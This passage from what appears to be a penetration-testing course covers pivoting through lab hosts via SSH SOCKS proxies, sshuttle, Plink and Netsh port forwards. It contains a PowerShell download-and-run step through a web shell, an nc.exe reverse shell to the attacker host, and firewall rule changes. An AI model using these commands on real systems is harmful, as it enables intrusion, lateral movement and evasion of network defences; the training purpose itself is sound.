tcp   LISTEN  0       128              [::1]:9998           [::]:*     users:(("sshd",pid=939038,fd=7))
tcp   LISTEN  0       128               [::]:22             [::]:*     users:(("sshd",pid=181432,fd=4))
Listing 34 - Port 9998 bound to both IPv4 and IPv6 loopback interfaces on the Kali machine.

The SOCKS proxy port has been bound on both the IPv4 and IPv6 loopback interfaces on our Kali machine. We're ready to use it!

Just as we did in the classic dynamic port forwarding example, we can use Proxychains to tunnel traffic over this SOCKS proxy port. We'll edit our Proxychains configuration file at /etc/proxychains4.conf on our Kali machine to reflect our new local SOCKS proxy port.

Bash
kali@kali:~$ tail /etc/proxychains4.conf
#       proxy types: http, socks4, socks5, raw
#         * raw: The traffic is simply forwarded to the proxy without modification.
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 9998
Listing 35 - Editing the Proxychains configuration file to point to the new SOCKS proxy on port 9998.

We can then run nmap with proxychains as we did before, this time against MULTISERVER03.

Bash
kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-20 06:25 EDT
Initiating Connect Scan at 06:25
Scanning 10.4.50.64 [20 ports]
[proxychains] Strict chain  ...  127.0.0.1:9998  ...  10.4.50.64:22 <--socket error or timeout!
...
[proxychains] Strict chain  ...  127.0.0.1:9998  ...  10.4.50.64:135  ...  OK
Discovered open port 135/tcp on 10.4.50.64
Completed Connect Scan at 06:28, 210.26s elapsed (20 total ports)
Nmap scan report for 10.4.50.64
Host is up, received user-set (6.7s latency).
Scanned at 2022-07-20 06:25:25 EDT for 210s

PORT     STATE  SERVICE       REASON
21/tcp   closed ftp           conn-refused
22/tcp   closed ssh           conn-refused
23/tcp   closed telnet        conn-refused
25/tcp   closed smtp          conn-refused
53/tcp   closed domain        conn-refused
80/tcp   open   http          syn-ack
110/tcp  closed pop3          conn-refused
111/tcp  closed rpcbind       conn-refused
135/tcp  open   msrpc         syn-ack
139/tcp  closed netbios-ssn   conn-refused
143/tcp  closed imap          conn-refused
443/tcp  closed https         conn-refused
445/tcp  closed microsoft-ds  conn-refused
993/tcp  closed imaps         conn-refused
995/tcp  closed pop3s         conn-refused
1723/tcp closed pptp          conn-refused
3306/tcp closed mysql         conn-refused
3389/tcp open   ms-wbt-server syn-ack
5900/tcp closed vnc           conn-refused
8080/tcp closed http-proxy    conn-refused

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 210.31 seconds
Listing 36 - Scanning MULTISERVER03 through the remote dynamic SOCKS port with Proxychains.

After a few minutes, we receive our results and discover ports 80, 135, and 3389 are open.

Warning

Scanning is a little slower against this Windows host - likely due to the different way the Windows firewall responds when a port is closed compared to Linux.

In this section, we used SSH remote dynamic port forwarding to open a SOCKS proxy port on our Kali machine by initiating an SSH connection from a remote compromised host. We then used Proxychains to port scan a host on the internal network through the SOCKS proxy port.

18.3.5. Using sshuttle

In situations where we have direct access to an SSH server, behind which is a more complex internal network, classic dynamic port forwarding might be difficult to manage. sshuttle1 is a tool that turns an SSH connection into something similar to a VPN by setting up local routes that force traffic through the SSH tunnel. However, it requires root privileges on the SSH client and Python3 on the SSH server, so it's not always the most lightweight option. In the appropriate scenario, however, it can be very useful.

In our lab environment, we have SSH access to PGDATABASE01, which we can access through a port forward set up on CONFLUENCE01. Let's run sshuttle through this to observe its capabilities.

First, we can set up a port forward in a shell on CONFLUENCE01, listening on port 2222 on the WAN interface and forwarding to port 22 on PGDATABASE01.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
</bin$ socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22   
Listing 37 - Forwarding port 2222 on CONFLUENCE01 to port 22 on PGDATABASE01.

Next, we can run sshuttle, specifying the SSH connection string we want to use, as well as the subnets that we want to tunnel through this connection (10.4.50.0/24 and 172.16.50.0/24).

Bash
kali@kali:~$ sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24
[local sudo] Password: 

database_admin@192.168.50.63's password: 

c : Connected to server.
Failed to flush caches: Unit dbus-org.freedesktop.resolve1.service not found.
fw: Received non-zero return code 1 when flushing DNS resolver cache.
Listing 38 - Running sshuttle from our Kali machine, pointing to the forward port on CONFLUENCE01.

Although we don't receive much output from sshuttle, in theory, it should have set up the routing on our Kali machine so that any requests we make to hosts in the subnets we specified will be pushed transparently through the SSH connection. Let's test if this is working by trying to connect to the SMB share on HRSHARES in a new terminal.

Bash
kali@kali:~$ smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        scripts         Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 172.16.50.217 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

kali@kali:~$
Listing 39 - Connecting to the SMB share on HRSHARES, without any explicit forwarding.

Great! We're now connecting to HRSHARES transparently, as though we are on the same network and have direct access.

In this section, we used sshuttle to create a VPN-like environment. We were then able to connect transparently to HRSHARES from our Kali machine, as though we were on the same network as PGDATABASE01.

18.4. Port Forwarding with Windows Tools

This Learning Unit covers the following Learning Objectives:

  1. Use ssh.exe and Plink to create port forwards on Windows
  2. Understand port forwarding with Netsh

So far in this Module, we've discussed the mechanics of port redirection and tunneling using Linux-based tools. However, we will often encounter Windows hosts in large networks that also require us to practice port forwarding strategies. Thankfully, there are several ways to port forward and tunnel on Windows, a few of which we'll cover in this Learning Unit.

18.4.1. ssh.exe

The OpenSSH client has been bundled with Windows by default since version 1803 (April 2018 Update),1 and has been available as a Feature-on-Demand since 1709 (Windows 10 Fall Creators Update).2 On Windows versions with SSH installed, we will find scp.exe, sftp.exe, ssh.exe, along with other ssh-* utilities in %systemdrive%\Windows\System32\OpenSSH location by default.

The fact that the SSH client is compiled for Windows doesn't mean that we can only connect to Windows-compiled SSH servers. We can connect to any SSH server we want - as long as we have the credentials.

Let's practice this by creating a remote dynamic port forward from MULTISERVER03 (a Windows machine) to our Kali machine. In this scenario, only the RDP port is open on MULTISERVER03. We can RDP in, but we can't bind any other ports to the WAN interface. Once we have our lab set up, it should appear as so:

The SSH remote dynamic port forward setup using the Windows OpenSSH client

Figure 12: The SSH remote dynamic port forward setup using the Windows OpenSSH client

We will use the rdp_admin credentials we found earlier to RDP into the server. We'll then use ssh.exe to create a remote dynamic port forward connection to our Kali machine. We can then use that to connect to the PostgreSQL database service on PGDATABASE01.

First, let's start by making sure the SSH server is running on our Kali machine.

Bash
kali@kali:~$ sudo systemctl start ssh     
[sudo] password for kali: 

kali@kali:~$ 
Listing 40 - Starting SSH server on the Kali machine.

We can then use xfreerdp from FreeRDP3 to connect to the RDP server on MULTISERVER03.

Bash
kali@kali:~$ xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64
[15:46:35:297] [468172:468173] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position 0
[15:46:35:297] [468172:468173] [WARN][com.freerdp.crypto] - CN = MULTISERVER03
[15:46:35:300] [468172:468173] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[15:46:35:301] [468172:468173] [ERROR][com.freerdp.crypto] - @           WARNING: CERTIFICATE NAME MISMATCH!           @
[15:46:35:301] [468172:468173] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[15:46:35:301] [468172:468173] [ERROR][com.freerdp.crypto] - The hostname used for this connection (192.168.50.64:3389) 
[15:46:35:301] [468172:468173] [ERROR][com.freerdp.crypto] - does not match the name given in the certificate:
[15:46:35:301] [468172:468173] [ERROR][com.freerdp.crypto] - Common Name (CN):
[15:46:35:301] [468172:468173] [ERROR][com.freerdp.crypto] -    MULTISERVER03
[15:46:35:301] [468172:468173] [ERROR][com.freerdp.crypto] - A valid certificate for the wrong name should NOT be trusted!
Certificate details for 192.168.50.64:3389 (RDP-Server):
        Common Name: MULTISERVER03
        Subject:     CN = MULTISERVER03
        Issuer:      CN = MULTISERVER03
        Thumbprint:  f5:42:78:8b:76:56:64:ba:05:73:75:c2:04:3c:74:56:6f:ba:d3:ed:f0:87:9e:ce:ee:9a:ba:e2:19:ff:56:df
The above X.509 certificate could not be verified, possibly because you do not have
the CA certificate in your certificate store, or the certificate has expired.
Please look at the OpenSSL documentation on how to add a private CA to the store.
Do you trust the above certificate? (Y/T/N) y
[15:46:38:728] [468172:468173] [ERROR][com.winpr.timezone] - Unable to find a match for unix timezone: US/Eastern
[15:46:39:538] [468172:468173] [INFO][com.freerdp.gdi] - Local framebuffer format  PIXEL_FORMAT_BGRX32
[15:46:39:539] [468172:468173] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32
[15:46:40:175] [468172:468173] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd
[15:46:40:176] [468172:468173] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx
[15:46:42:254] [468172:468173] [INFO][com.freerdp.client.x11] - Logon Error Info LOGON_FAILED_OTHER [LOGON_MSG_SESSION_CONTINUE]
Listing 41 - Connecting to the RDP server on MULTISERVER03 using xfreerdp.

Once we have a connection open, we can open a cmd.exe window and determine whether SSH is on the box using where ssh.

Bash
C:\Users\rdp_admin>where ssh
C:\Windows\System32\OpenSSH\ssh.exe

C:\Users\rdp_admin>
Listing 42 - Finding ssh.exe on MULTISERVER03.

Success! We found ssh.exe on this machine.

Notably, the version of OpenSSH bundled with Windows is higher than 7.6, meaning we can use it for remote dynamic port forwarding.

Bash
C:\Users\rdp_admin>ssh.exe -V
OpenSSH_for_Windows_8.1p1, LibreSSL 3.0.2
Listing 43 - The version of OpenSSH client that is bundled with Windows is higher than 7.6.

We can now create a remote dynamic port forward to our Kali machine, just as we did earlier. We'll pass the port 9998 to -R and authenticate as kali back on our Kali machine.

Bash
C:\Users\rdp_admin>ssh -N -R 9998 kali@192.168.118.4
The authenticity of host '192.168.118.4 (192.168.118.4)' can't be established.
ECDSA key fingerprint is SHA256:OaapT7zLp99RmHhoXfbV6JX/IsIh7HjVZyfBfElMFn0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.118.4' (ECDSA) to the list of known hosts.
kali@192.168.118.4's password:
Listing 44 - Connecting back to our Kali machine to open the remote dynamic port forward.

We can check that the SOCKS proxy port is opened on our Kali machine using ss.

Bash
kali@kali:~$ ss -ntplu
Netid     State      Recv-Q      Send-Q                Local Address:Port            Peer Address:Port     Process
tcp       LISTEN     0           128                       127.0.0.1:9998                 0.0.0.0:*
tcp       LISTEN     0           128                         0.0.0.0:22                   0.0.0.0:*
tcp       LISTEN     0           128                           [::1]:9998                    [::]:*
tcp       LISTEN     0           128                            [::]:22                      [::]:*
Listing 45 - Checking for the open SOCKS port on our Kali machine with ss.

Let's update /etc/proxychains4.conf to use this socket.

Bash
kali@kali:~$ tail /etc/proxychains4.conf             
#       proxy types: http, socks4, socks5, raw
#         * raw: The traffic is simply forwarded to the proxy without modification.
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 9998
Listing 46 - Proxychains configuration file having been edited.

Now that the configuration file is pointing at our remote dynamic port forward SOCKS port, we can run psql through proxychains to connect to the PostgreSQL database as the postgres user (with the password D@t4basePassw0rd!). We'll use the same psql command we would as if connecting directly from MULTISERVER03.

Bash
kali@kali:~$ proxychains psql -h 10.4.50.215 -U postgres  
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:9998  ...  10.4.50.215:5432  ...  OK
Password for user postgres: 
[proxychains] Strict chain  ...  127.0.0.1:9998  ...  10.4.50.215:5432  ...  OK
psql (14.2 (Debian 14.2-1+b3), server 12.11 (Ubuntu 12.11-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# \l
                                  List of databases
    Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
------------+----------+----------+-------------+-------------+-----------------------
 confluence | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
 template1  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
(4 rows)

postgres=# 
Listing 47 - Connecting to the PostgreSQL server with psql and Proxychains.

The connection was a success! We're now interacting with the PostgreSQL database on PGDATABASE01 through an SSH remote dynamic port forward initiated from the OpenSSH client running on a Windows Server 2022 machine.

In this section, we've set up a connection to a PostgreSQL database running on a Linux server through an SSH remote dynamic port forward made between a Windows SSH client and our Kali machine SSH server.

Administrators may want to avoid leaving OpenSSH on their Windows machines, so we're not guaranteed to discover an OpenSSH client. Even if we find ourselves on a recent version of Windows, the network administrators may have removed it.

Nevertheless, network administrators still need remote administration tools. Most networks have SSH servers running somewhere, and administrators need tools to connect to these servers from Windows hosts. Before OpenSSH was so readily available on Windows, most network administrators' tools of choice were PuTTY1 and its command-line-only counterpart, Plink.2

One of the benefits of using tools that are popular with network administrators is that they will rarely be flagged by traditional antivirus software. This makes them appealing to attackers, since using them is relatively covert compared to more security-adjacent tools with similar functionality.

We'll use Plink in this section, since in a security assessment, we will more likely have a shell than GUI access. The Plink manual2:1 explains that much of the functionality the OpenSSH client offers is also built into Plink (although one notable feature Plink doesn't have is remote dynamic port forwarding).

Warning

Many 3rd-party SSH clients for Windows provide port forwarding features. We're using Plink in this case because it's common, lightweight, and specifically designed to run on the command line.

Let's get familiar with Plink by using it in the lab in a revised scenario. In this scenario, we find that MULTISERVER03 now has a web application on TCP port 80 exposed. All other inbound ports are blocked by a firewall, so RDP is no longer available either. The layout is much like the following diagram:

MULTISERVER03 behind a firewall, with only port 80 exposed

Figure 13: MULTISERVER03 behind a firewall, with only port 80 exposed

We can compromise MULTISERVER03 through the web application, drop a web shell on it, and gain a reverse shell using that. We have previously found credentials we could use to connect to the RDP service. This is blocked by the firewall, so we can't connect directly. The OpenSSH client has also been removed, so we can't create a remote port forward using that.

However, we have another option: we can create a remote port forward using Plink.

Let's try this out. First, we will get an interactive reverse shell from MULTISERVER03. From our initial exploitation, we uploaded a basic web shell at /umbraco/forms.aspx. We can browse to this URL and run whatever Windows commands we want - these will be run as the iis apppool\defaultapppool user. We can use this web shell to download nc.exe to MULTISERVER03, which we will then use to send a reverse shell back to our Kali machine.

Warning

MULTISERVER03 is already "pre-compromised" in the lab. At this point, you can browse to /umbraco/forms.aspx on the HTTP server on port 80 on MULTISERVER03. You should see a webshell page, which will let you run arbitrary commands on MULTISERVER03.

To download nc.exe onto MULTISERVER03, we first need to host it on a server that MULTISERVER03 can access. We can easily configure Apache2 on our Kali machine to do this. Apache2 is installed by default on Kali, so we just need to start the apache2 service.

Bash
kali@kali:~$ sudo systemctl start apache2
[sudo] password for kali: 

kali@kali:~$
Listing 48 - Starting Apache2.

We can then find nc.exe from our Kali windows-resources/binaries directory and copy it to the Apache2 web root.

Bash
kali@kali:~$ find / -name nc.exe 2>/dev/null
/usr/share/windows-resources/binaries/nc.exe

kali@kali:~$ sudo cp /usr/share/windows-resources/binaries/nc.exe /var/www/html/
Listing 49 - Copying nc.exe to the Apache2 webroot.

Once the executable's there, we should be able to download it to MULTISERVER03. We will use a PowerShell wget one-liner from our web shell to download nc.exe.

From the web shell, we'll run a command that will instruct PowerShell to download nc.exe from our Kali machine web server (-Uri http://192.168.118.4/nc.exe) and write it to C:\Windows\Temp on MULTISERVER03 with -OutFile. Put together, we run the following:

Bash
powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe
Listing 50 - The PowerShell command we use to download nc.exe to MULTISERVER03 through the web shell.

Once the PowerShell command is executed, our payload is downloaded from our Apache2 server to C:\Windows\Temp\nc.exe on MULTISERVER03.

We can then set up a Netcat listener on port 4446 on our Kali machine.

Bash
kali@kali:~$ nc -nvlp 4446
listening on [any] 4446 ...
Listing 51 - The Netcat listener on our Kali machine.

Once the listener is running, we'll execute nc.exe on MULTISERVER03 using the web shell again, passing -e to execute cmd.exe once the connection is established.

Bash
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.118.4 4446
Listing 52 - The nc.exe reverse shell payload we execute in the web shell.

The shell quickly hits our listener.

Bash
...
listening on [any] 4446 ...
connect to [192.168.118.4] from (UNKNOWN) [192.168.50.64] 51889
Microsoft Windows [Version 10.0.20348.825]
(c) Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>
Listing 53 - The shell from nc.exe caught by our Netcat listener.

We now want to download Plink to MULTISERVER03. On our Kali machine, we can copy plink.exe from windows-resources/binaries to the Apache2 web root.

Bash
kali@kali:~$ find / -name plink.exe 2>/dev/null
/usr/share/windows-resources/binaries/plink.exe

kali@kali:~$ sudo cp /usr/share/windows-resources/binaries/plink.exe /var/www/html/
[sudo] password for kali: 

kali@kali:~$ 
Listing 54 - Copying plink.exe to our Apache2 webroot.

In our reverse shell, we'll again use the PowerShell one-liner to download plink.exe from our Kali machine to C:\Windows\Temp.

Bash
c:\windows\system32\inetsrv>powershell wget -Uri http://192.168.118.4/plink.exe -OutFile C:\Windows\Temp\plink.exe
powershell wget -Uri http://192.168.118.4/plink.exe -OutFile C:\Windows\Temp\plink.exe

c:\windows\system32\inetsrv>
Listing 55 - Plink downloaded to the C:\Windows\Temp folder.

With the Plink executable downloaded to MULTISERVER03, we can now consider using it.

In this case, let's set up Plink with a remote port forward so that we can access the MULTISERVER03 RDP port from our Kali machine. The command syntax to set up a remote port forward with Plink is very similar to the OpenSSH client remote port forward command. After the -R option, we'll pass the socket we want to open on the Kali SSH server, and the RDP server port on the loopback interface of MULTISERVER03 that we want to forward packets to.

We will also pass the username (-l) and password (-pw) directly on the command line.

Warning

This might log our Kali password somewhere undesirable! If we're in a hostile network, we may wish to create a port-forwarding only user on our Kali machine for remote port forwarding situations.

Bash
c:\windows\system32\inetsrv>C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4
C:\Windows\Temp\plink.exe -ssh -l kali -pw kali -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4
The host key is not cached for this server:
  192.168.118.4 (port 22)
You have no guarantee that the server is the computer
you think it is.
The server's ssh-ed25519 key fingerprint is:
  ssh-ed25519 255 SHA256:q1QQjIxHhSFXfEIT4gYrRF+zKr0bcLMOJljoINxThxY
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n, Return cancels connection, i for more info) y
Using username "kali".
Linux kali 5.16.0-kali7-amd64 #1 SMP PREEMPT Debian 5.16.18-1kali1 (2022-04-01) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 21 15:50:39 2022 from 192.168.50.64
kali@kali:~$ 
Listing 56 - Making an SSH connection to the Kali machine.

We are presented with a prompt asking if we want to store the server key in the cache.

Warning

In much the same way that it's not possible to accept the SSH client key cache prompt from a non-TTY shell on Linux, with some very limited shells with Plink on Windows, we also won't be able to respond to this prompt. An easy solution in that case would be to automate the confirmation with cmd.exe /c echo y, piped into the plink.exe command. This will emulate the confirmation that we usually type when prompted. The entire command would be: cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw -R 127.0.0.1:9833:127.0.0.1:3389 192.168.41.7.

We can confirm that the port has opened on our Kali machine using ss.

Bash
kali@kali:~$ ss -ntplu
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp   LISTEN 0      128        127.0.0.1:9833      0.0.0.0:*
tcp   LISTEN 0      5            0.0.0.0:80        0.0.0.0:*     users:(("python3",pid=1048255,fd=3)) 
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*
tcp   LISTEN 0      128             [::]:22           [::]:*
kali@kali:~$ 
Listing 57 - Port 9983 opened on the Kali loopback interface.

Port 9833 is opened on the loopback interface of our Kali machine.

The traffic flow from the listening port opened on our Kali server to the RDP port open on MULTISERVER03, behind the firewall

Figure 14: The traffic flow from the listening port opened on our Kali server to the RDP port open on MULTISERVER03, behind the firewall

Now we can connect to port 9983 on our Kali loopback interface with xfreerdp as the rdp_admin user. To specify a custom RDP port in xfreerdp, we simply append :9833 to the IP address.

Bash
kali@kali:~$ xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:127.0.0.1:9833  
...
Certificate details for 127.0.0.1:9833 (RDP-Server):
        Common Name: MULTISERVER03
        Subject:     CN = MULTISERVER03
        Issuer:      CN = MULTISERVER03
        Thumbprint:  4a:11:2d:d8:03:8e:dd:5c:f2:c4:71:7e:15:1d:20:fb:62:3f:c6:eb:3d:77:1e:ea:44:47:10:42:49:fa:1e:6a
The above X.509 certificate could not be verified, possibly because you do not have
the CA certificate in your certificate store, or the certificate has expired.
Please look at the OpenSSL documentation on how to add a private CA to the store.
Do you trust the above certificate? (Y/T/N) y
[05:11:17:430] [1072332:1072333] [ERROR][com.winpr.timezone] - Unable to find a match for unix timezone: US/Eastern
...
Listing 58 - Connecting to the RDP server with xfreerdp, through the Plink port forward.

The connection succeeds, and we get an RDP connection through our Plink remote port forward!

Connected to MULTISERVER03 through the remote port forward.

Figure 15: Connected to MULTISERVER03 through the remote port forward.

In this section, we used Plink to create a remote port forward to access the RDP service on MULTISERVER03. We also considered some theoretical problems when initiating Plink in more restrictive shells, and explored piping keystrokes into Plink as a solution.

18.4.3. Netsh

There is a native way to create a port forward on Windows we should explore: the built-in firewall configuration tool Netsh1 (also known as Network Shell). Using Netsh, we can set up a port forward with the portproxy2 subcontext3 within the interface context.4 While Netsh requires administrative privileges to create a port forward on Windows, it can be very useful in some restrictive situations.

Let's consider a slight modification of the previous scenario. MULTISERVER03 is serving its web application on TCP port 80 on the perimeter. CONFLUENCE01 is no longer accessible on the WAN interface. For simplicity, the firewall on MULTISERVER03 also allows inbound TCP port 3389, meaning we are able to log in over RDP directly.

The network setup for this scenario

Figure 16: The network setup for this scenario

We want to SSH into PGDATABASE01 directly from our Kali machine. To do this, we'll need to create a port forward on MULTISERVER03 that will listen on the WAN interface and forward packets to the SSH port on PGDATABASE01.

Warning

The portproxy subcontext of the netsh interface command requires administrative privileges to make any changes. This means that in most cases we will need to take UAC into account. In this example, we're running it in a shell over RDP using an account with administrator privileges, so UAC is not a concern. However, we should bear in mind that UAC may be a stumbling block in other setups.

To start setting up a port forward, let's RDP directly into MULTISERVER03 from our Kali machine using xfreerdp again.

Bash
kali@kali:~$ xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64
[07:48:02:576] [265164:265165] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position 0
[07:48:02:577] [265164:265165] [WARN][com.freerdp.crypto] - CN = MULTISERVER03
[07:48:03:685] [265164:265165] [ERROR][com.winpr.timezone] - Unable to find a match for unix timezone: US/Eastern
[07:48:03:886] [265164:265165] [INFO][com.freerdp.gdi] - Local framebuffer format  PIXEL_FORMAT_BGRX32
[07:48:03:886] [265164:265165] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32
[07:48:03:940] [265164:265165] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd
[07:48:03:940] [265164:265165] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx
Listing 59 - Connecting to the RDP server with xfreerdp.

In our RDP session, we can run cmd.exe as administrator to open a command window.

Using this window, we can run Netsh. We'll instruct netsh interface to add a portproxy rule from an IPv4 listener that is forwarded to an IPv4 port (v4tov4). This will listen on port 2222 on the external-facing interface (listenport=2222 listenaddress=192.168.50.64) and forward packets to port 22 on PGDATABASE01 (connectport=22 connectaddress=10.4.50.215).

Bash
C:\Windows\system32>netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215

C:\Windows\system32>
Listing 60 - The portproxy command being run.

Although we don't receive any output from the command, we can confirm that port 2222 is listening using netstat.

Bash
C:\Windows\system32>netstat -anp TCP | find "2222"
  TCP    192.168.50.64:2222     0.0.0.0:0              LISTENING

C:\Windows\system32>
Listing 61 - netstat showing that TCP/2222 is listening on the external interface.

We can also confirm that the port forward is stored by issuing the show all command in the netsh interface portproxy subcontext.

Bash
C:\Windows\system32>netsh interface portproxy show all

Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
192.168.50.64   2222        10.4.50.215     22
Listing 62 - Listing all the portproxy port forwarders set up with Netsh.

The port is listening, and the port forward is set up.

The port forward set up on MULTISERVER03 will forward packets recieved on port 2222 to port 22 on PGDATABASE01

Figure 17: The port forward set up on MULTISERVER03 will forward packets recieved on port 2222 to port 22 on PGDATABASE01

However, there's a problem. We can't connect to port 2222 from our Kali machine. We'll specifically check port 2222 using nmap.

Bash
kali@kali:~$ sudo nmap -sS 192.168.50.64 -Pn -n -p2222
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-21 06:27 EDT
Nmap scan report for 192.168.50.64
Host is up (0.00055s latency).

PORT     STATE    SERVICE
2222/tcp filtered EtherNetIP-1
MAC Address: 00:0C:29:A9:9F:3D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds
Listing 63 - Nmap showing that port 2222 on MULTISERVER03 is filtered.

The response shows that port 2222 is filtered. It's most likely that the Windows Firewall is blocking inbound connections to port 2222.

The Windows firewall blocking our attempt to connect to port 2222 on MULTISERVER03 from our Kali machine on the WAN network

Figure 18: The Windows firewall blocking our attempt to connect to port 2222 on MULTISERVER03 from our Kali machine on the WAN network

In order to access it, we need to poke a hole in the firewall on MULTISERVER03.

Warning

We'll also need to remember to plug that hole as soon as we're finished with it!

We can use the netsh advfirewall firewall subcontext to create the hole. We will use the add rule command and name the rule "port_forward_ssh_2222". We need to use a memorable or descriptive name, because we'll use this name to delete the rule later on.

We'll allow connections on the local port (localport=2222) on the interface with the local IP address (localip=192.168.50.64) using the TCP protocol, specifically for incoming traffic (dir=in).

Bash
C:\Windows\system32> netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow
Ok.

C:\Windows\system32>
Listing 64 - Poking a hole in the Windows Firewall with Netsh.

The command completes successfully with an "Ok." response. We can check how the port appears from our Kali machine again.

Bash
kali@kali:~$ sudo nmap -sS 192.168.50.64 -Pn -n -p2222
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-21 06:28 EDT
Nmap scan report for 192.168.50.64
Host is up (0.00060s latency).

PORT     STATE SERVICE
2222/tcp open  EtherNetIP-1
MAC Address: 00:0C:29:A9:9F:3D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
Listing 65 - Nmap showing that port 2222 on MULTISERVER03 is open.

The port is open! We can now SSH to port 2222 on MULTISERVER03, as though connecting to port 22 on PGDATABASE01.

Bash
kali@kali:~$ ssh database_admin@192.168.50.64 -p2222
The authenticity of host '[192.168.50.64]:2222 ([192.168.50.64]:2222)' can't be established.
ED25519 key fingerprint is SHA256:3TRC1ZwtlQexLTS04hV3ZMbFn30lYFuQVQHjUqlYzJo.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:5: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.50.64]:2222' (ED25519) to the list of known hosts.
database_admin@192.168.50.64's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 21 Aug 2022 10:40:26 PM UTC

  System load:  0.0               Processes:               231
  Usage of /:   60.9% of 7.77GB   Users logged in:         0
  Memory usage: 16%               IPv4 address for ens192: 10.4.50.215
  Swap usage:   0%                IPv4 address for ens224: 172.16.50.215


0 updates can be applied immediately.


Last login: Sat Aug 20 21:47:47 2022 from 10.4.50.63
database_admin@pgdatabase01:~$
Listing 66 - SSHing into PGDATABASE01 through the Netsh port forward.

Great! We're SSH'd into PGDATABASE01 through a port forward set up on MULTISERVER03 using Netsh.

Connecting to port 2222 on MULTISERVER03 through the hole we made in the Windows firewall

Figure 19: Connecting to port 2222 on MULTISERVER03 through the hole we made in the Windows firewall

Warning

